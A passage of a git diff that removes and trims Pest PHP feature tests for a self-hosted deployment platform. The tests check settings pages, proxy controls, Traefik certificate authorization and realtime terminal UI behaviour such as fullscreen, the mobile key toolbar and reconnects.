file_get_contents(app_path('Livewire/Settings/Advanced.php'));- $view = file_get_contents(resource_path('views/livewire/settings/advanced.blade.php'));-- expect($component)- ->toContain("['value' => 'local', 'label' => 'Local storage']")- ->toContain("'value' => 's3:'.\$storage->id")- ->toContain('->whereTeamId(0)')- ->toContain("->where('is_usable', true)")- ->and($view)- ->toContain('id="avatar_storage"')- ->toContain('Use S3 for multi-instance or cloud deployments');-});diff --git a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.phpindex 1b86627081..514ebac4c3 100644--- a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php+++ b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php@@ -55,21 +55,3 @@ test('environment resources page header links to environment settings', function->assertSee('Environment settings', false)->assertSee($editUrl, false);});--test('project show blade includes project settings route', function () {- $view = file_get_contents(resource_path('views/livewire/project/show.blade.php'));-- expect($view)- ->toContain("route('project.edit'")- ->toContain('Project settings')- ->toContain('name="settings"');-});--test('environment resource index blade includes environment settings route', function () {- $view = file_get_contents(resource_path('views/livewire/project/resource/index.blade.php'));-- expect($view)- ->toContain("route('project.environment.edit'")- ->toContain('Environment settings')- ->toContain('name="settings"');-});diff --git a/tests/Feature/ProjectViewControlsStyleTest.php b/tests/Feature/ProjectViewControlsStyleTest.phpindex cb6a24b7c4..b3d9bbc7f3 100644--- a/tests/Feature/ProjectViewControlsStyleTest.php+++ b/tests/Feature/ProjectViewControlsStyleTest.php@@ -1,16 +1 @@<?php--it('matches project view control borders and rounding to standard buttons', function () {- $templates = [- resource_path('views/livewire/project/index.blade.php'),- resource_path('views/livewire/project/show.blade.php'),- resource_path('views/livewire/project/resource/index.blade.php'),- resource_path('views/livewire/project/service/configuration.blade.php'),- ];-- foreach ($templates as $template) {- expect(file_get_contents($template))->toContain(- 'class="flex h-9 items-center rounded-lg border border-neutral-200 bg-white p-0.5 dark:border-white/[0.08] dark:bg-white/[0.06]"'- );- }-});diff --git a/tests/Feature/Proxy/RestartProxyTest.php b/tests/Feature/Proxy/RestartProxyTest.phpindex c554d9cf15..397f052f16 100644--- a/tests/Feature/Proxy/RestartProxyTest.php+++ b/tests/Feature/Proxy/RestartProxyTest.php@@ -192,40 +192,6 @@ test('member cannot see start proxy button', function () {->assertDontSee('Start Proxy');});-test('start proxy button shows a loading state while proxy startup actions run', function () {- [$user, $team, $server] = setupProxyUser('admin');-- $server->proxy->status = 'exited';- $server->proxy->type = ProxyTypes::TRAEFIK->value;- $server->save();- $server->refresh();-- $mock = Mockery::mock($server)->makePartial();- $mock->shouldReceive('proxySet')->andReturn(true);-- $this->actingAs($user);- session(['currentTeam' => $team]);-- $html = Livewire::test('server.navbar', ['server' => $mock])- ->assertSeeHtml('wire:loading.attr="disabled"')- ->assertSeeHtml('wire:target="checkProxy,startProxy"')- ->html();-- // The split action main button shows its loading state through the- // `.split-action-main:disabled` style while Livewire disables it.- preg_match_all('/<button\b[^>]*class="split-action-main"[^>]*>(?:(?!<\/button>).)*?Start Proxy/s', $html, $startButtons);-- expect($startButtons[0])->not->toBeEmpty();- foreach ($startButtons[0] as $startButton) {- expect($startButton)- ->toContain('wire:loading.attr="disabled"')- ->toContain('wire:target="checkProxy,startProxy"');- }-- expect(file_get_contents(resource_path('css/app.css')))- ->toMatch('/\.split-action-main:disabled,\s*\.split-action-caret:disabled\s*\{[^}]*opacity:/');-});-test('starting a proxy records a team audit event', function () {[$user, $team, $server] = setupProxyUser('admin');$activity = Activity::create([diff --git a/tests/Feature/ProxyAcmeCertificateUiTest.php b/tests/Feature/ProxyAcmeCertificateUiTest.phpindex 3e52a5afda..a546e8f0dd 100644--- a/tests/Feature/ProxyAcmeCertificateUiTest.php+++ b/tests/Feature/ProxyAcmeCertificateUiTest.php@@ -1,23 +1,14 @@<?php-use App\Actions\Proxy\DeleteTraefikCertificate;-use App\Actions\Proxy\GetTraefikCertificates;--it('shows Traefik ACME certificates with protected delete controls', function () {+it('gates Traefik ACME certificate deletion behind update authorization', function () {$view = file_get_contents(resource_path('views/livewire/server/proxy.blade.php'));$component = file_get_contents(app_path('Livewire/Server/Proxy.php'));expect($view)- ->toContain('TLS certificates')- ->toContain('wire:click="loadTraefikCertificates"')->toContain('submitAction="deleteTraefikCertificate')->toContain("@can('update', \$server)")->and($component)- ->toContain('public function loadTraefikCertificates(): void')- ->toContain('public function deleteTraefikCertificate(string $certificateId, string $password = \'\'): void')- ->toContain("\$this->authorize('update', \$this->server)")- ->toContain(GetTraefikCertificates::class)- ->toContain(DeleteTraefikCertificate::class);+ ->toContain("\$this->authorize('update', \$this->server)");});it('uses bounded reads and atomic restricted writes for the ACME file', function () {diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.phpindex 3b678a7a8b..5692c4ec0b 100644--- a/tests/Feature/RealtimeTerminalPackagingTest.php+++ b/tests/Feature/RealtimeTerminalPackagingTest.php@@ -1,198 +1,5 @@<?php-it('renders the resource terminal shell while containers are discovered', function () {- $terminalComponent = file_get_contents(app_path('Livewire/Project/Shared/ExecuteContainerCommand.php'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($terminalComponent)- ->toContain('public bool $containersLoaded = false;')- ->and($terminalView)- ->toContain('wire:init="loadContainers"')- ->not->toContain('@if (! $containersLoaded)')- ->not->toContain('Loading terminal containers…')- ->toContain(':auto-start="$type === \'server\' || ! $containersLoaded || $containers->count() === 1"')- ->not->toContain('Loading targets…')- ->not->toContain('<x-loading text="Loading containers" />');-});--it('marks stopped services as loaded before the terminal page first renders', function () {- $terminalComponent = file_get_contents(app_path('Livewire/Project/Shared/ExecuteContainerCommand.php'));-- expect($terminalComponent)- ->toMatch('/elseif \(data_get\(\$this->parameters, \'service_uuid\'\)\).*?if \(! \$this->resource->isRunning\(\)\) \{\s*\$this->containersLoaded = true;\s*\}/s');-});--it('provides opt-in diagnostics for connected terminal theme changes', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain('terminal-debug')- ->toContain("'[Terminal Theme] Applying theme'")- ->toContain("'[Terminal Theme] Theme applied'")- ->toContain('requestedTheme: themeName')- ->toContain('shellTheme: shell?.dataset.consoleTheme')- ->toContain("getComputedStyle(shell, '::before').background");-});--it('starts a single discovered resource container without waiting for a missed browser event', function () {- $terminalComponent = file_get_contents(app_path('Livewire/Project/Shared/ExecuteContainerCommand.php'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($terminalComponent)- ->toMatch('/if \(\$this->containers->count\(\) === 1\) \{\s*\$this->selected_container = [^;]+;\s*\$this->connectToContainer\(\);/s')- ->and($terminalView)- ->not->toContain('x-on:containers-loaded.window');-});--it('integrates automatic terminal startup into the terminal console', function () {- $terminalComponent = file_get_contents(app_path('Livewire/Project/Shared/Terminal.php'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $commandView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($terminalComponent)- ->toContain('public bool $autoStart = false;')- ->and($terminalView)- ->toContain('data-auto-start="{{ $autoStart ? \'true\' : \'false\' }}"')- ->toContain("starting ? 'connecting…'")- ->and($commandView)- ->toContain(':auto-start="$type === \'server\' || ! $containersLoaded || $containers->count() === 1"')- ->not->toContain('terminalLoading')- ->not->toContain('Starting terminal');-});--it('resynchronizes the themed canvas whenever a terminal enters a loading state', function () {- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- foreach ([$resourceView, $globalView] as $view) {- expect($view)- ->toContain('x-on:terminal-starting.window="syncTheme()"')- ->toContain('syncTheme() {')- ->toContain("this.consoleTheme = this.themeKeys.includes(savedTheme) ? savedTheme : 'system';");- }-});--it('keeps the xterm mount visible while the terminal connection starts', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalView)- ->toMatch('/<div id="terminal"[^>]*wire:ignore/s')- ->not->toMatch('/<div id="terminal"[^>]*x-show="terminalActive"/s');-});--it('shows the initial resource container launcher and keeps the header picker for switching', function () {- $commandView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($commandView)- ->toContain('targetChosen: @js($selected_container !== \'default\')')- ->toContain('data-terminal-target-picker="launcher"')- ->toContain('x-show="!targetChosen"')- ->toContain('x-show="targetChosen"')- ->toContain('this.targetChosen = true;');-});--it('uses a larger high-contrast label for every terminal loading phase', function () {- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect(substr_count($resourceView.$terminalView.$globalView, 'terminal-loading-label'))- ->toBeGreaterThanOrEqual(2)- ->and($styles)- ->toContain('.terminal-loading-label')- ->toContain('font-size: 0.875rem;')- ->toContain('color: rgb(255 255 255 / 0.75);')- ->toContain('html:not(.dark) .application-console-shell[data-console-theme="system"] .terminal-loading-label');-});--it('styles centered terminal target pickers from the selected console theme', function () {- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect(substr_count($resourceView.$globalView, 'terminal-target-picker'))- ->toBeGreaterThanOrEqual(2)- ->and($styles)- ->toContain('.terminal-target-picker')- ->toContain('.application-console-shell[data-console-theme="system"] .terminal-target-picker')- ->toContain('background: rgb(0 0 0 / 0.18);')- ->toContain('background: #fff;')- ->toContain('color: #52525b;');-});--it('presents initial terminal targets as a top-aligned launcher instead of a centered dialog', function () {- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($resourceView.$globalView)- ->toContain('data-terminal-target-picker="launcher"')- ->toContain('items-start justify-start')- ->toContain('Start a terminal session')- ->not->toContain('data-terminal-target-picker="center"');-});--it('shows connection progress in the terminal body instead of the header', function () {- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($resourceView.$globalView)- ->toContain("new CustomEvent('terminal-starting')")- ->not->toContain('wire:loading.flex wire:target="selected_container,connectToContainer"')- ->not->toContain('wire:loading.flex wire:target="selected_uuid,connectToContainer"')- ->and($terminalView)- ->toContain("x-on:terminal-starting.window=\"beginTerminalSessionStart(); setTerminalTheme(localStorage.getItem('coolify-console-theme') ?? 'system')\"")- ->toContain('data-auto-start="{{ $autoStart ? \'true\' : \'false\' }}"')- ->toContain("starting ? 'connecting…'")- ->and($terminalClient)- ->toContain('starting: false')- ->toContain("this.starting = this.\$el.dataset.autoStart === 'true';");-});--it('starts the global terminal only once when a target is selected', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $component = file_get_contents(app_path('Livewire/Terminal/Index.php'));-- expect($view)- ->toContain("await \$wire.set('selected_uuid', target.value);")- ->not->toContain('await $wire.connectToContainer();')- ->and($component)- ->toMatch('/public function updatedSelectedUuid\(\).*?\$this->connectToContainer\(\);/s');-});--it('groups global terminal targets by type with labelled sections', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('get filteredTargetGroups()')- ->toContain("label: 'Servers'")- ->toContain("label: 'Containers'")- ->toContain('x-for="group in filteredTargetGroups"')- ->toContain('x-text="group.label"')- ->toContain('x-for="target in group.targets"')- ->not->toContain('x-for="target in filteredTargets"');-});--it('uses the redesigned terminal canvas and controls on resource terminal pages', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($view)- ->toContain('data-terminal-session-canvas')- ->toContain('terminal-session-toolbar flex items-center gap-3 text-white select-none')- ->toContain('terminal-session-panel flex min-h-0 flex-1 flex-col overflow-hidden p-3 sm:p-6')- ->toContain('<x-terminal.theme-selector')- ->not->toContain('application-console-header flex h-[30px]');-});--it('does not overlay the session expiry label on the application terminal', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalView)- ->not->toContain('terminal-session-expiry');-});-it('copies the terminal utilities into the Coolify container images', function (string $dockerfile) {$dockerfile = file_get_contents(base_path($dockerfile));@@ -211,92 +18,6 @@ it('mounts the realtime terminal utilities in local development compose files','maxio dev compose' => 'docker-compose-maxio.dev.yml',]);-it('keeps terminal browser logging restricted to development or explicit diagnostics', function () {- $terminalClient = file_get_contents(base_path('resources/js/terminal.js'));-- expect($terminalClient)- ->toContain('const terminalDebugEnabled = import.meta.env.DEV')- ->toContain("localStorage.getItem('coolify-terminal-debug') === '1'")- ->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');")- ->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");-});--it('keeps realtime terminal server logging behind the explicit debug flag', function () {- $terminalServer = file_get_contents(base_path('docker/coolify-terminal/terminal-server.js'));-- expect($terminalServer)- ->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG')- ->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)")- ->toContain('if (!terminalDebugEnabled) {')- ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");-});--it('configures a server-initiated WebSocket heartbeat to survive proxy idle timeouts', function () {- $terminalServer = file_get_contents(base_path('docker/coolify-terminal/terminal-server.js'));-- expect($terminalServer)- ->toContain('ws.isAlive = true;')- ->toContain("ws.on('pong'")- ->toContain('ws.ping();')- ->toContain('ws.terminate();')- ->toContain('HEARTBEAT_INTERVAL_MS');-});--it('removes the keepalive short-circuit that fired when the tab was hidden', function () {- $terminalClient = file_get_contents(base_path('resources/js/terminal.js'));-- expect($terminalClient)- ->not->toContain('// Skip keepalive when document is hidden to prevent unnecessary disconnects');-});--it('uses a fast probe timeout when the tab regains visibility', function () {- $terminalClient = file_get_contents(base_path('resources/js/terminal.js'));-- expect($terminalClient)- ->toContain("'Visibility-resume timeout'");-});--it('does not hard close terminal sessions after 30 minutes on the server', function () {- $terminalServer = file_get_contents(base_path('docker/coolify-terminal/terminal-server.js'));-- expect($terminalServer)- ->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')- ->not->toContain("ws.send('idle-timeout');")- ->not->toContain("ws.close(1000, 'Idle timeout');");-});--it('does not close the client terminal from an idle-timeout sentinel', function () {- $terminalClient = file_get_contents(base_path('resources/js/terminal.js'));-- expect($terminalClient)- ->not->toContain("event.data === 'idle-timeout'")- ->not->toContain('Terminal closed after 30 minutes of inactivity.');-});--it('keeps Livewire alive in background tabs while a terminal is connected', function () {- $terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));- $terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));-- expect($terminalComponent)- ->toContain('public bool $isTerminalConnected = false;')- ->toContain("#[On('terminalConnected')]")- ->toContain('public function markTerminalConnected(): void')- ->toContain('public function keepTerminalPageAlive(): void')- ->and($terminalView)- ->toContain('@if ($isTerminalConnected)')- ->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');-});--it('exits fullscreen when the terminal process exits', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain("event.data === 'pty-exited'")- ->toContain('this.exitFullscreen();')- ->toContain('this.mobileToolbarCollapsed = false;- this.terminalActive = false;');-});-it('does not replay single-use terminal tokens after reconnect', function () {$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));@@ -308,277 +29,6 @@ it('does not replay single-use terminal tokens after reconnect', function () {->not->toContain('Replaying last command after reconnect.');});-it('buffers messages received before the realtime server finishes auth so the replay is not lost', function () {- $terminalServer = file_get_contents(base_path('docker/coolify-terminal/terminal-server.js'));-- expect($terminalServer)- ->toContain('authReady: false')- ->toContain('pendingMessages: []')- ->toContain('userSession.pendingMessages.push(message)')- ->toContain('userSession.authReady = true');-});--it('preserves terminal scrollback across transient reconnects', function () {- $terminalClient = file_get_contents(base_path('resources/js/terminal.js'));-- expect($terminalClient)- ->toContain('── Connection lost at')- ->toContain('── Reconnected at')- // resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback.- ->not->toContain("this.term.reset();\n this.term.clear();");-});--it('renders a horizontally scrollable terminal key row only on mobile', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($terminalView)- ->toContain('class="sm:hidden"')- ->toContain('overflow-x-auto')- ->toContain('whitespace-nowrap')- ->toContain('pasteFromClipboard()')- ->toContain('copyTerminalSelection()')- ->toContain("sendTerminalControl('tab')")- ->toContain("sendTerminalControl('escape')")- ->toContain('sendTerminalControl(\'escape\')">ESC</button>')- ->toContain("toggleTerminalModifier('ctrl')")- ->toContain("toggleTerminalModifier('alt')")- ->toContain("sendTerminalKey('/')")- ->toContain("sendTerminalKey('|')")- ->toContain("sendTerminalKey('~')")- ->toContain("sendTerminalKey('-')")- ->toContain("sendTerminalControl('ctrlC')")- ->toContain("sendTerminalControl('ctrlD')")- ->toContain("sendTerminalControl('ctrlBackslash')")- ->toContain("sendTerminalControl('ctrlS')")- ->toContain("sendTerminalControl('ctrlZ')")- ->not->toContain("sendTerminalControl('arrowUp')")- ->toContain("fullscreen ? 'relative z-[2] shrink-0 px-2 pb-2' : (keyboardInset > 0 ? 'fixed inset-x-0 z-[100002] px-2 pb-2' : 'relative z-[2] mt-2 shrink-0')")- ->toContain('data-terminal-mobile-toolbar')- ->and($appCss)- ->toContain('.terminal-mobile-key')- ->toContain('min-h-8')- ->toContain('rounded-full')- ->toContain('.terminal-key-row')- ->toContain('background: transparent;')- ->toContain('var(--terminal-scrollbar');-});--it('shows the mobile terminal key row outside fullscreen mode', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalView)- ->toContain("fullscreen ? 'relative z-[2] shrink-0 px-2 pb-2' : (keyboardInset > 0 ? 'fixed inset-x-0 z-[100002] px-2 pb-2' : 'relative z-[2] mt-2 shrink-0')")- ->toContain('class="sm:hidden"')- ->toContain(':style="!fullscreen && keyboardInset > 0 ? `top: ${keyboardAnchorTop}px; transform: translateY(-100%)` : \'\'"')- ->and($terminalClient)- ->toContain("this.\$refs.terminalWrapper.style.removeProperty('display')")- ->not->toContain("this.\$refs.terminalWrapper.style.display = 'block'");-});--it('sends terminal mobile toolbar controls through the websocket', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain('sendTerminalInput(data)')- ->toContain('sendTerminalControl(sequence)')- ->toContain("arrowUp: '\\x1b[A'")- ->toContain("arrowDown: '\\x1b[B'")- ->toContain("arrowRight: '\\x1b[C'")- ->toContain("arrowLeft: '\\x1b[D'")- ->toContain("tab: '\\t'")- ->toContain("escape: '\\x1b'")- ->toContain("ctrlC: '\\x03'")- ->toContain("ctrlD: '\\x04'")- ->toContain("ctrlBackslash: '\\x1c'")- ->toContain("ctrlS: '\\x13'")- ->toContain("ctrlZ: '\\x1a'")- ->toContain('toggleTerminalModifier(modifier)')- ->toContain('sendTerminalKey(key)')- ->toContain('navigator.clipboard.readText()')- ->toContain('navigator.clipboard.writeText(selection)')- ->toContain("sendTerminalInput(data) {\n if (!this.term || !this.terminalActive) {\n return;\n }\n\n this.sendMessage({ message: data });")- ->not->toContain("sendTerminalInput(data) {\n if (!this.term || !this.terminalActive) {\n return;\n }\n\n this.term.focus();");-});--it('uses terminal host dimensions when resizing so mobile controls do not cover terminal rows', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain("document.getElementById('terminal')")- ->toContain('this.fitAddon.fit()')- ->toContain('terminalElement.clientHeight')- ->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;');-});--it('keeps the fullscreen mobile toolbar above the software keyboard', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalClient)- ->toContain('keyboardInset: 0')- ->toContain('keyboardAnchorTop: 0')- ->toContain('keyboardViewportHeight: 0')- ->toContain('updateKeyboardInset()')- ->toContain('window.visualViewport')- ->toContain('viewport.height + viewport.offsetTop')- ->toContain('this.keyboardViewportHeight - visualBottom')- ->toContain('this.keyboardAnchorTop = Math.round(visualBottom)')- ->toContain('syncFullscreenShellWithKeyboard(viewport)')- ->toContain("wrapper.style.setProperty('bottom', 'auto', 'important')")- ->toContain("window.visualViewport?.addEventListener('resize', this.syncKeyboardInset)")- ->toContain("window.visualViewport?.addEventListener('scroll', this.syncKeyboardInset)")- ->toContain("window.addEventListener('resize', this.syncKeyboardInset)")- ->toContain("window.visualViewport?.removeEventListener('resize', this.syncKeyboardInset)")- ->toContain("window.visualViewport?.removeEventListener('scroll', this.syncKeyboardInset)")- ->toContain("window.removeEventListener('resize', this.syncKeyboardInset)")- ->and($terminalView)- ->toContain("'terminal-host relative z-[1] min-h-0 flex-1 overflow-hidden px-1 py-[5px] bg-transparent'")- ->toContain("fullscreen ? 'relative z-[2] shrink-0 px-2 pb-2'")- ->toContain(':style="!fullscreen && keyboardInset > 0 ? `top: ${keyboardAnchorTop}px; transform: translateY(-100%)` : \'\'"')- ->toContain("fullscreen ? 'relative z-[2] shrink-0 px-2 pb-2' : (keyboardInset > 0 ? 'fixed inset-x-0 z-[100002] px-2 pb-2'");-});--it('resizes after the mobile keyboard viewport changes', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain('window.visualViewport')- ->toContain('this.$nextTick(() => this.resizeTerminal())');-});--it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($terminalView)- ->toContain('terminal-fullscreen-shell fixed inset-0')- ->toContain('z-[100000]')- ->toContain('w-screen')- ->toContain('max-w-none')- ->toContain('overflow-hidden')- ->toContain(':data-console-theme="fullscreen ? selectedTheme : null"')- ->not->toContain('h-[100dvh]')- ->and($styles)- ->toContain('height: auto !important;');-});--it('constrains normal terminal height after leaving fullscreen', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalView)- ->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden');-});--it('keeps enter and exit fullscreen controls the same size and chrome', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($terminalView)- ->toContain('class="terminal-fullscreen-btn fixed top-3 right-3 z-[100001]"')- ->toContain("'terminal-fullscreen-btn absolute z-20'")- ->and($appCss)- ->toContain('.terminal-fullscreen-btn')- ->toContain('width: 1.75rem')- ->toContain('height: 1.75rem')- ->toContain('color: var(--terminal-scrollbar')- ->toContain('background: transparent;')- ->toContain('color-mix(in srgb, var(--terminal-scrollbar');-});--it('keeps the application terminal fullscreen control visible on mobile', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalView)- ->toContain('opacity-100 sm:opacity-0 sm:group-hover/terminal:opacity-100 sm:focus-visible:opacity-100');-});--it('lets the selected theme show through the active terminal panel', function () {- $appCss = file_get_contents(resource_path('css/app.css'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($appCss)- ->toMatch('/\.terminal-session-panel\s*\{[^}]*background:\s*transparent;/s')- ->toMatch('/\.terminal-session-panel\s*\{[^}]*border:\s*0;/s')- ->toMatch('/\.terminal-session-panel\s*\{[^}]*box-shadow:\s*none;/s')- ->not->toContain('.application-console-block::before')- ->not->toMatch('/\.application-console-block\s*\{[^}]*\bbackdrop-filter\s*:/s')- ->and($terminalView)- ->toContain('items-center justify-center bg-transparent')- ->not->toContain('items-center justify-center bg-black/35');-});--it('keeps the terminal in the Livewire tree and unlocks ancestor stacking for fullscreen', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($terminalClient)- ->toContain('enterFullscreen()')- ->toContain('exitFullscreen()')- ->toContain('patchAncestorsForFullscreen(wrapper)')- ->toContain('restoreAncestorsAfterFullscreen()')- ->toContain('salvageStrayFullscreenNodes()')- ->toContain("node.style.setProperty('isolation', 'auto', 'important')")- ->toContain("node.style.setProperty('transform', 'none', 'important')")- ->toContain("node.style.setProperty('z-index', 'auto', 'important')")- ->toContain("main.style.setProperty('z-index', '100001', 'important')")- ->toContain("fromEl.closest('main')")- ->toContain('scheduleTerminalResize()')- ->not->toContain('document.body.appendChild(wrapper)')- ->not->toContain('enterFullscreenPortal')- ->and($terminalView)- ->toContain('wire:ignore')- ->toContain('terminal-fullscreen-shell fixed inset-0')- ->and($appCss)- ->toContain('body.terminal-is-fullscreen .terminal-fullscreen-shell')- ->toContain('z-index: 100000 !important');-});--it('locks page scroll while the terminal is fullscreen and unlocks on exit', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($terminalClient)- ->toContain('lockPageScroll()')- ->toContain('unlockPageScroll()')- ->toContain("document.body.style.setProperty('position', 'fixed', 'important')")- ->toContain("window.addEventListener('wheel', this.preventPageScrollHandler")- ->toContain("window.addEventListener('touchmove', this.preventPageScrollHandler")- ->toContain("target.closest('.xterm-viewport')")- ->toContain("document.documentElement.classList.add('terminal-is-fullscreen')")- ->toContain("document.documentElement.classList.remove('terminal-is-fullscreen')")- ->and($appCss)- ->toContain('html.terminal-is-fullscreen')- ->toContain('overscroll-behavior: none !important')- ->toContain('touch-action: none');-});--it('applies the selected console theme to the fullscreen shell', function () {- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($terminalView)- ->toContain('terminal-fullscreen-shell')- ->toContain(':data-console-theme="fullscreen ? selectedTheme : null"')- ->not->toContain('bg-[#141414]')- ->and($appCss)- ->toContain('.terminal-fullscreen-shell')- ->toContain('.terminal-fullscreen-shell[data-console-theme="shadows-cosmic-purple"]')- ->toContain('#terminal.terminal-host .xterm-viewport');-});--it('fits the terminal with FitAddon and keeps xterm within the host after resize', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toContain('this.fitAddon.fit()')- ->toContain("this.term.element.style.maxHeight = '100%'")- ->toContain('scrollback: 5000')- ->not->toContain('Math.floor(height / charSize.height) - 1');-});-it('reports terminal authentication rejections with readable WebSocket close codes', function () {$terminalServer = file_get_contents(base_path('docker/coolify-terminal/terminal-server.js'));$terminalUtils = file_get_contents(base_path('docker/coolify-terminal/terminal-utils.js'));@@ -596,40 +46,3 @@ it('reports terminal authentication rejections with readable WebSocket close cod->not->toContain('verifyClient: verifyClient')->not->toContain('ws.close(401');});--it('leaves the terminal connecting state when the connection is rejected, lost, or times out', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));- $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));-- expect($terminalClient)- ->toContain("from './terminal-connection.js'")- ->toContain('connectionError: null')- ->toContain('const outcome = resolveTerminalCloseOutcome({')- ->toContain('this.authRejected = true;')- ->toContain('if (this.authRejected) {')- ->toContain('Ignoring terminal token after authentication was rejected.')- ->toContain('failTerminalConnection(TERMINAL_CONNECTION_ERRORS.timeout)')- ->toContain('failTerminalConnection(TERMINAL_CONNECTION_ERRORS.connectionFailed)')- ->toContain('...terminalSessionStartMethods,')- ->toContain('this.beginTerminalSessionStart();')- ->and(file_get_contents(resource_path('js/terminal-connection.js')))- ->toContain('export const terminalSessionStartMethods = {')- ->toContain('}, TERMINAL_SESSION_START_TIMEOUT_MS);')- ->and($terminalView)- ->toContain('data-terminal-connection-error')- ->toContain('x-text="connectionError"')- ->toContain('x-on:click="reloadTerminalPage()"')- ->toContain('x-show="!connectionError" class="terminal-loading-label');-});--it('ends the auto-start connecting state when no terminal token arrives', function () {- $terminalClient = file_get_contents(resource_path('js/terminal.js'));-- expect($terminalClient)- ->toMatch("/this\.starting = this\.\\\$el\.dataset\.autoStart === 'true';.*?if \(this\.starting\) \{\s*this\.armTerminalSessionStartTimeout\(\);\s*\}/s")- ->toContain("this.\$wire.on('terminal-session-failed', ({ message }) => {")- ->toContain('this.failTerminalSessionStart(message);')- ->toContain("this.\$wire.on('terminal-auto-start-cancelled', () => {")- ->toMatch('/destroy\(\) \{\s*this\.clearSessionStartTimeout\(\);/')- ->toMatch("/event\.data === 'pty-ready'\) \{\s*this\.completeTerminalSessionStart\(\);/");-});diff --git a/tests/Feature/ResetPasswordUrlTest.php b/tests/Feature/ResetPasswordUrlTest.phpindex 7e940fc719..e19aafd198 100644--- a/tests/Feature/ResetPasswordUrlTest.php+++ b/tests/Feature/ResetPasswordUrlTest.php@@ -14,6 +14,11 @@ beforeEach(function () {Once::flush();});+function setResetUrlInstanceSettings(array 